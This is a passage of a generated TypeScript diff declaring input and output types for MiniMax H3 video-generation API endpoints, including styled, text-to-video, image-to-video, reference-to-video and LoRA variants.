is provided. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxStyles16BitPixelAspectRatioEnumKey +} + +export type FileC79676Ae = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxStyles16BitPixel = { + /** + * @description Generated 768P pixel-animation video with audio. + * @type object + */ + video: FileC79676Ae + /** + * @description Seed used for this generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxStylesHandDrawnAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxStylesHandDrawnAspectRatioEnumKey = + (typeof inputMinimaxH3MaxStylesHandDrawnAspectRatioEnum)[keyof typeof inputMinimaxH3MaxStylesHandDrawnAspectRatioEnum] + +export type InputMinimaxH3MaxStylesHandDrawn = { + /** + * @description Describe the scene, action, camera and sound. The Hand drawn style is applied automatically. + * @minLength 1 + * @maxLength 49868 + * @example A weary office worker watches his neck stretch upward as a tiny bird lands on his head. Medium locked shot, exaggerated surprise. Soft wing flutters and distant city ambience, no speech. + * @type string + */ + prompt: string + /** + * @description Random seed. Omit to choose one automatically. + */ + seed?: number | null + /** + * @description Requested video duration in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional first-frame image. Use pencil artwork for the most consistent look; the image's aspect ratio determines the output canvas. + */ + image_url?: string | null + /** + * @description Video aspect ratio for text-only generation. Ignored when image_url is provided. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxStylesHandDrawnAspectRatioEnumKey +} + +export type File41910B31 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxStylesHandDrawn = { + /** + * @description Generated 768P hand-drawn animation video with audio. + * @type object + */ + video: File41910B31 + /** + * @description Seed used for this generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxStylesLowPolyAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxStylesLowPolyAspectRatioEnumKey = + (typeof inputMinimaxH3MaxStylesLowPolyAspectRatioEnum)[keyof typeof inputMinimaxH3MaxStylesLowPolyAspectRatioEnum] + +export type InputMinimaxH3MaxStylesLowPoly = { + /** + * @description Describe the scene, action, camera and sound. The retro low-poly 3D style is applied automatically. + * @minLength 1 + * @maxLength 49914 + * @example A woman in a red coat runs across a rainy rooftop at night, jumps over a low ventilation duct and keeps running. A helicopter searchlight sweeps the buildings behind her. The camera tracks alongside her. + * @type string + */ + prompt: string + /** + * @description Random seed. Omit to choose one automatically. + */ + seed?: number | null + /** + * @description Requested video duration in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional first-frame image. Use low-poly or retro 3D artwork for the most consistent look; the image's aspect ratio determines the output canvas. + */ + image_url?: string | null + /** + * @description Video aspect ratio for text-only generation. Ignored when image_url is provided. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxStylesLowPolyAspectRatioEnumKey +} + +export type FileDe64Ece6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxStylesLowPoly = { + /** + * @description Generated 768P retro low-poly 3D video with audio. + * @type object + */ + video: FileDe64Ece6 + /** + * @description Seed used for this generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxStylesRetroToon70SAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxStylesRetroToon70SAspectRatioEnumKey = + (typeof inputMinimaxH3MaxStylesRetroToon70SAspectRatioEnum)[keyof typeof inputMinimaxH3MaxStylesRetroToon70SAspectRatioEnum] + +export type InputMinimaxH3MaxStylesRetroToon70S = { + /** + * @description Describe the scene, action, camera and sound. The retro 1970s hand-painted animation style is applied automatically. + * @minLength 1 + * @maxLength 49864 + * @example A lone warrior with a broadsword stands on a windswept rocky ridge at sunset as an enormous dragon glides past below him. Wide heroic shot. Wind and the slow beat of dragon wings, no speech. + * @type string + */ + prompt: string + /** + * @description Random seed. Omit to choose one automatically. + */ + seed?: number | null + /** + * @description Requested video duration in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional first-frame image. Use painted-style artwork for the most consistent look; the image's aspect ratio determines the output canvas. + */ + image_url?: string | null + /** + * @description Video aspect ratio for text-only generation. Ignored when image_url is provided. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxStylesRetroToon70SAspectRatioEnumKey +} + +export type File46369Dc7 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxStylesRetroToon70S = { + /** + * @description Generated 768P retro hand-painted animation video with audio. + * @type object + */ + video: File46369Dc7 + /** + * @description Seed used for this generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxStylesVhsDamageLevelEnum = { + light: 'light', + medium: 'medium', + heavy: 'heavy', +} as const + +export type InputMinimaxH3MaxStylesVhsDamageLevelEnumKey = + (typeof inputMinimaxH3MaxStylesVhsDamageLevelEnum)[keyof typeof inputMinimaxH3MaxStylesVhsDamageLevelEnum] + +export const inputMinimaxH3MaxStylesVhsAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxStylesVhsAspectRatioEnumKey = + (typeof inputMinimaxH3MaxStylesVhsAspectRatioEnum)[keyof typeof inputMinimaxH3MaxStylesVhsAspectRatioEnum] + +export type InputMinimaxH3MaxStylesVhs = { + /** + * @description Describe the scene, action, camera and sound. VHS style and tape damage are applied automatically. + * @minLength 1 + * @maxLength 49910 + * @example A camcorder explores an abandoned shopping mall at midnight. A lone carousel starts turning beneath flickering fluorescent lights. Handheld push-in, mechanical creaks and distant music. + * @type string + */ + prompt: string + /** + * @description Tape wear: light adds subtle analog noise, medium adds visible damage, and heavy adds strong tracking errors and distortion. + * @default 'medium' + * @type string | undefined + */ + damage_level?: InputMinimaxH3MaxStylesVhsDamageLevelEnumKey + /** + * @description Random seed. Omit to choose one automatically. + */ + seed?: number | null + /** + * @description Requested video duration in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional first-frame image. Use a 4:3 image for the classic VHS frame; the image's aspect ratio determines the output canvas. + */ + image_url?: string | null + /** + * @description Video aspect ratio for text-only generation. Ignored when image_url is provided. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxStylesVhsAspectRatioEnumKey +} + +export type FileF9308Eee = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputMinimaxH3MaxStylesVhs = { + /** + * @description Generated 768P VHS-style video with audio. + * @type object + */ + video: FileF9308Eee + /** + * @description Seed used for this generation. + * @type integer + */ + seed: number +} + +export const inputMinimaxH3MaxTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3MaxTextToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3MaxTextToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3MaxTextToVideoAspectRatioEnum] + +export const inputMinimaxH3MaxTextToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '1080P': '1080P', +} as const + +export type InputMinimaxH3MaxTextToVideoResolutionEnumKey = + (typeof inputMinimaxH3MaxTextToVideoResolutionEnum)[keyof typeof inputMinimaxH3MaxTextToVideoResolutionEnum] + +/** + * @description Public H3 Max input; Max Turbo keeps the shared Turbo input contract. + * @type object + */ +export type InputMinimaxH3MaxTextToVideo = { + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3MaxTextToVideoAspectRatioEnumKey + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The native generation resolution, or 1080P latent refinement from a native 768P source. + * @default '768P' + * @type string | undefined + */ + resolution?: InputMinimaxH3MaxTextToVideoResolutionEnumKey + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'balanced' returns in about a second. 'quality' spends up to ~30s on a richer prompt. + * @default 'balanced' + * @example disabled + * @example balanced + * @example quality + * @type string + */ + prompt_expansion_mode: string + /** + * @description Video length in seconds. The output can run up to about 0.7 s longer than requested. Use at least 2 s with target_audio_url. + * @minimum 0.92 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + duration?: number + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example A white kitten chases a butterfly across a sunlit garden. Gentle camera tracking, natural movement, soft afternoon light filtering through the leaves. + * @type string + */ + prompt: string +} + +export type File366E588B = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMinimaxH3MaxTextToVideo = { + /** + * @description Timing breakdown in seconds. 'inference' is the DiT denoising time on the GPU backend. Null on routes that do not report backend timings. + */ + timings?: { + [key: string]: number + } | null + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0aa46818/--prs89fkHtWW406fmEs__NRhTqNku.mp4","file_name":"--prs89fkHtWW406fmEs__NRhTqNku.mp4","file_size":6463396,"content_type":"video/mp4"} + * @type object + */ + video: File366E588B +} + +export const inputMinimaxH3ImageToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3ImageToVideoResolutionEnumKey = + (typeof inputMinimaxH3ImageToVideoResolutionEnum)[keyof typeof inputMinimaxH3ImageToVideoResolutionEnum] + +export type InputMinimaxH3ImageToVideo = { + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3ImageToVideoResolutionEnumKey + /** + * @description Optional URL of the image to use as the last frame. It may be provided alone for end-only keyframe generation; in that case the output canvas follows this image. + */ + end_image_url?: string | null + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description Optional URL of the image to use as the first frame. When provided, the output canvas follows this image. If only end_image_url is provided, the canvas follows that last frame instead. If both images are omitted, the request is handled as text-to-video (16:9 by default). + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + */ + image_url?: string | null + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example The camera slowly pulls back from the scene, revealing the full landscape as clouds drift overhead and light shifts across the terrain. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type FileD28A1B28 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3ImageToVideo = { + /** + * @description The generated video + * @type object + */ + video: FileD28A1B28 + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +/** + * @description A single LoRA adapter to apply to the transformer. + * @type object + */ +export type LoRAInputAf5C4446 = { + /** + * @description URL or HuggingFace repo id (owner/repo) of the LoRA weights. + * @example https://huggingface.co/owner/repo/resolve/main/lora.safetensors + * @type string + */ + path: string + /** + * @description Name of the LoRA weight file. Only used when `path` is a HuggingFace repo and it holds more than one LoRA. + */ + weight_name?: string | null + /** + * @description Strength of the LoRA (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputMinimaxH3ImageToVideoLoraResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3ImageToVideoLoraResolutionEnumKey = + (typeof inputMinimaxH3ImageToVideoLoraResolutionEnum)[keyof typeof inputMinimaxH3ImageToVideoLoraResolutionEnum] + +export type InputMinimaxH3ImageToVideoLora = { + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3ImageToVideoLoraResolutionEnumKey + /** + * @description Optional URL of the image to use as the last frame. It may be provided alone for end-only keyframe generation; in that case the output canvas follows this image. + */ + end_image_url?: string | null + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description List of LoRA adapters to apply to the transformer. + * @type array + */ + loras: LoRAInputAf5C4446[] + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description Optional URL of the image to use as the first frame. When provided, the output canvas follows this image. If only end_image_url is provided, the canvas follows that last frame instead. If both images are omitted, the request is handled as text-to-video (16:9 by default). + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + */ + image_url?: string | null + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example The camera slowly pulls back from the scene, revealing the full landscape as clouds drift overhead and light shifts across the terrain. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type File30Bd245B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3ImageToVideoLora = { + /** + * @description The generated video + * @type object + */ + video: File30Bd245B + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +export const inputMinimaxH3ReferenceToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3ReferenceToVideoResolutionEnumKey = + (typeof inputMinimaxH3ReferenceToVideoResolutionEnum)[keyof typeof inputMinimaxH3ReferenceToVideoResolutionEnum] + +export const inputMinimaxH3ReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3ReferenceToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3ReferenceToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3ReferenceToVideoAspectRatioEnum] + +export type InputMinimaxH3ReferenceToVideo = { + /** + * @description URLs of motion/reference video clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Video 1, Video 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3ReferenceToVideoResolutionEnumKey + /** + * @description URLs of subject/style reference images, referenced in the prompt as Image 1, Image 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description URLs of reference audio clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Audio 1, Audio 2, and so on. Images, videos, and audio can be provided individually or together. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Cannot be combined with reference audio. Longer clips are trimmed to the generated video's length, keeping the beginning; shorter clips are padded with silence. The clip is resampled to 32 kHz stereo and replaces the output soundtrack without changing playback speed. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3ReferenceToVideoAspectRatioEnumKey + /** + * @description Text prompt for video generation. Refer to reference assets by their modality and order in the reference lists: Image 1, Image 2, Video 1, Audio 1, and so on. + * @minLength 1 + * @maxLength 50000 + * @example Image 1 is the female protagonist. Image 2 is her small dog. Keep the woman and dog consistent with their respective reference images while they walk together through a sunlit garden. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type FileF97De210 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3ReferenceToVideo = { + /** + * @description The generated video + * @type object + */ + video: FileF97De210 + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +/** + * @description A single LoRA adapter to apply to the transformer. + * @type object + */ +export type LoRAInputFd125756 = { + /** + * @description URL or HuggingFace repo id (owner/repo) of the LoRA weights. + * @example https://huggingface.co/owner/repo/resolve/main/lora.safetensors + * @type string + */ + path: string + /** + * @description Name of the LoRA weight file. Only used when `path` is a HuggingFace repo and it holds more than one LoRA. + */ + weight_name?: string | null + /** + * @description Strength of the LoRA (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputMinimaxH3ReferenceToVideoLoraResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3ReferenceToVideoLoraResolutionEnumKey = + (typeof inputMinimaxH3ReferenceToVideoLoraResolutionEnum)[keyof typeof inputMinimaxH3ReferenceToVideoLoraResolutionEnum] + +export const inputMinimaxH3ReferenceToVideoLoraAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3ReferenceToVideoLoraAspectRatioEnumKey = + (typeof inputMinimaxH3ReferenceToVideoLoraAspectRatioEnum)[keyof typeof inputMinimaxH3ReferenceToVideoLoraAspectRatioEnum] + +export type InputMinimaxH3ReferenceToVideoLora = { + /** + * @description URLs of motion/reference video clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Video 1, Video 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3ReferenceToVideoLoraResolutionEnumKey + /** + * @description URLs of subject/style reference images, referenced in the prompt as Image 1, Image 2, and so on. Reference images, videos, and audio clips must add up to at most 12 files. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description URLs of reference audio clips (2-15 seconds each, combined duration at most 15 seconds), referenced in the prompt as Audio 1, Audio 2, and so on. Images, videos, and audio can be provided individually or together. Reference images, videos, and audio clips must add up to at most 12 files. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description List of LoRA adapters to apply to the transformer. + * @type array + */ + loras: LoRAInputFd125756[] + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Cannot be combined with reference audio. Longer clips are trimmed to the generated video's length, keeping the beginning; shorter clips are padded with silence. The clip is resampled to 32 kHz stereo and replaces the output soundtrack without changing playback speed. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3ReferenceToVideoLoraAspectRatioEnumKey + /** + * @description Text prompt for video generation. Refer to reference assets by their modality and order in the reference lists: Image 1, Image 2, Video 1, Audio 1, and so on. + * @minLength 1 + * @maxLength 50000 + * @example Image 1 is the female protagonist. Image 2 is her small dog. Keep the woman and dog consistent with their respective reference images while they walk together through a sunlit garden. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type FileFa301483 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3ReferenceToVideoLora = { + /** + * @description The generated video + * @type object + */ + video: FileFa301483 + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +export const inputMinimaxH3TextToVideoResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3TextToVideoResolutionEnumKey = + (typeof inputMinimaxH3TextToVideoResolutionEnum)[keyof typeof inputMinimaxH3TextToVideoResolutionEnum] + +export const inputMinimaxH3TextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3TextToVideoAspectRatioEnumKey = + (typeof inputMinimaxH3TextToVideoAspectRatioEnum)[keyof typeof inputMinimaxH3TextToVideoAspectRatioEnum] + +export type InputMinimaxH3TextToVideo = { + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3TextToVideoResolutionEnumKey + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3TextToVideoAspectRatioEnumKey + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example A white kitten chases a butterfly across a sunlit garden. Gentle camera tracking, natural movement, soft afternoon light filtering through the leaves. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type FileBc1Da386 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3TextToVideo = { + /** + * @description The generated video + * @example 